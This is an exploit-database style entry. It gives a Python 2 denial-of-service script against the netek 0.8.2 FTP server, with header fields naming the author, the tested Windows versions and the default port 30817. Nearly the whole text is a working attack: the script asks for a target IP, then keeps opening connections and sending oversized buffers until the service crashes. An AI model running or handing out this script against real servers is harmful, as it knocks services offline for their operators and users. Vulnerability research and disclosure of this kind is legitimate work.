netek 0.8.2 - Denial of Service

#Exploit Title : netek 0.8.2 FTP Denial of Service 
#Test on : windowsXPs3 + windows 7
#software Link :https://sourceforge.net/projects/netek.berlios/
#version : 0.8.2
#author : Lawrence Amer
#site : lawrenceamer.me
#affected product uses default port 30817 , it can be chnaged also 
#!/bin/python
import socket

 
ip = raw_input("[+] IP to attack: ")
 
sarr = []
i = 0
while True:
    try:
        sarr.append(socket.create_connection((ip,30817)))
        print "[+] Connection %d" % i
        crash1 = "\x41"*5000 +"\X42"*1000
        sarr[i].send(crash1+'\r\n')
        i+=1
    except socket.error:
        print "[*] Server crashed with CPU 100!!"
        raw_input()
        break